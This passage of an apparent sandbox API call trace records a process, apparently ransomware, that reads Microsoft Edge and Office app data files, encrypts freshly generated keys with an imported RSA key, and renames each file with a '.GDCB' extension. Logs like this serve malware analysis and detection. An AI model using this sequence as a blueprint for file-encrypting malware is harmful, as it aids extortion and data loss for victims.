lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285cc50*=0x80210, lpOverlapped=0x0) returned 1 [0297.304] VirtualAlloc (lpAddress=0x0, dwSize=0x80210, flAllocationType=0x3000, flProtect=0x4) returned 0x2500000 [0297.323] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edb.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edb.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edb.log.gdcb")) returned 1 [0297.327] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0297.331] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.334] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.334] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0297.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.335] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0297.338] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.341] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.342] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0297.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.342] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0297.344] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67ac9f0) returned 1 [0297.344] CryptGetKeyParam (in: hKey=0x67ac9f0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0297.344] CryptEncrypt (in: hKey=0x67ac9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0297.345] GetLastError () returned 0x0 [0297.345] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.345] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0297.347] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67acbf0) returned 1 [0297.347] CryptGetKeyParam (in: hKey=0x67acbf0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0297.347] CryptEncrypt (in: hKey=0x67acbf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0297.347] GetLastError () returned 0x0 [0297.347] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.347] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0297.348] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0297.352] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.355] ReadFile (in: hFile=0x528, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285cc50*=0x80000, lpOverlapped=0x0) returned 1 [0297.373] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x2500000 [0297.393] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edbtmp.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edbtmp.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edbtmp.log.gdcb")) returned 1 [0297.409] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0297.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.416] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.416] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0297.416] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.416] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0297.419] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.423] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.423] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0297.423] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.423] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0297.425] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67accf0) returned 1 [0297.425] CryptGetKeyParam (in: hKey=0x67accf0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0297.425] CryptEncrypt (in: hKey=0x67accf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0297.426] GetLastError () returned 0x0 [0297.426] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.426] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0297.428] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67acd30) returned 1 [0297.428] CryptGetKeyParam (in: hKey=0x67acd30, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0297.428] CryptEncrypt (in: hKey=0x67acd30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285d630*=0x100) returned 1 [0297.428] GetLastError () returned 0x0 [0297.428] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.428] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\RecoveryStore.{3D88D67F-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\recoverystore.{3d88d67f-6818-11e7-9bd3-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0297.429] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0297.433] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.436] ReadFile (in: hFile=0x508, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285d670*=0x1000, lpOverlapped=0x0) returned 1 [0297.452] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0x560000 [0297.458] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\RecoveryStore.{3D88D67F-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\recoverystore.{3d88d67f-6818-11e7-9bd3-c40142ecde47}.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\RecoveryStore.{3D88D67F-6818-11E7-9BD3-C40142ECDE47}.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\recoverystore.{3d88d67f-6818-11e7-9bd3-c40142ecde47}.dat.gdcb")) returned 1 [0297.461] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0297.464] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.467] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.468] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0297.468] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.468] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0297.471] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.474] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.474] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0297.474] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.474] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0297.476] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67ad0b0) returned 1 [0297.476] CryptGetKeyParam (in: hKey=0x67ad0b0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0297.476] CryptEncrypt (in: hKey=0x67ad0b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0297.476] GetLastError () returned 0x0 [0297.476] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.477] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0297.478] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67acd70) returned 1 [0297.478] CryptGetKeyParam (in: hKey=0x67acd70, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0297.478] CryptEncrypt (in: hKey=0x67acd70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285d630*=0x100) returned 1 [0297.479] GetLastError () returned 0x0 [0297.479] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.479] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\{3D88D681-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\{3d88d681-6818-11e7-9bd3-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0297.480] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0297.483] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.486] ReadFile (in: hFile=0x508, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285d670*=0x1210, lpOverlapped=0x0) returned 1 [0297.494] VirtualAlloc (lpAddress=0x0, dwSize=0x1210, flAllocationType=0x3000, flProtect=0x4) returned 0x560000 [0297.500] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\{3D88D681-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\{3d88d681-6818-11e7-9bd3-c40142ecde47}.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\{3D88D681-6818-11E7-9BD3-C40142ECDE47}.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\{3d88d681-6818-11e7-9bd3-c40142ecde47}.dat.gdcb")) returned 1 [0297.523] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0297.527] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.530] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.531] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0297.531] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.531] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0297.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.538] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.538] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0297.538] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.538] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.541] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ace30) returned 1 [0297.541] CryptGetKeyParam (in: hKey=0x67ace30, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.541] CryptEncrypt (in: hKey=0x67ace30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0297.541] GetLastError () returned 0x0 [0297.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.541] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.543] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acdb0) returned 1 [0297.543] CryptGetKeyParam (in: hKey=0x67acdb0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.543] CryptEncrypt (in: hKey=0x67acdb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285e050*=0x100) returned 1 [0297.543] GetLastError () returned 0x0 [0297.543] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.544] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\microsoft.microsoftedge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0297.544] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0297.548] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.551] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x10000, lpOverlapped=0x0) returned 1 [0297.578] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x560000 [0297.587] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\microsoft.microsoftedge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\microsoft.microsoftedge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0297.614] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0297.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.620] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0297.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.620] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0297.623] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.626] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.626] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0297.626] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.626] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.628] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acc70) returned 1 [0297.628] CryptGetKeyParam (in: hKey=0x67acc70, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.628] CryptEncrypt (in: hKey=0x67acc70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0297.628] GetLastError () returned 0x0 [0297.628] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.628] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.630] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aceb0) returned 1 [0297.630] CryptGetKeyParam (in: hKey=0x67aceb0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.630] CryptEncrypt (in: hKey=0x67aceb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285e050*=0x100) returned 1 [0297.631] GetLastError () returned 0x0 [0297.631] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.631] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application 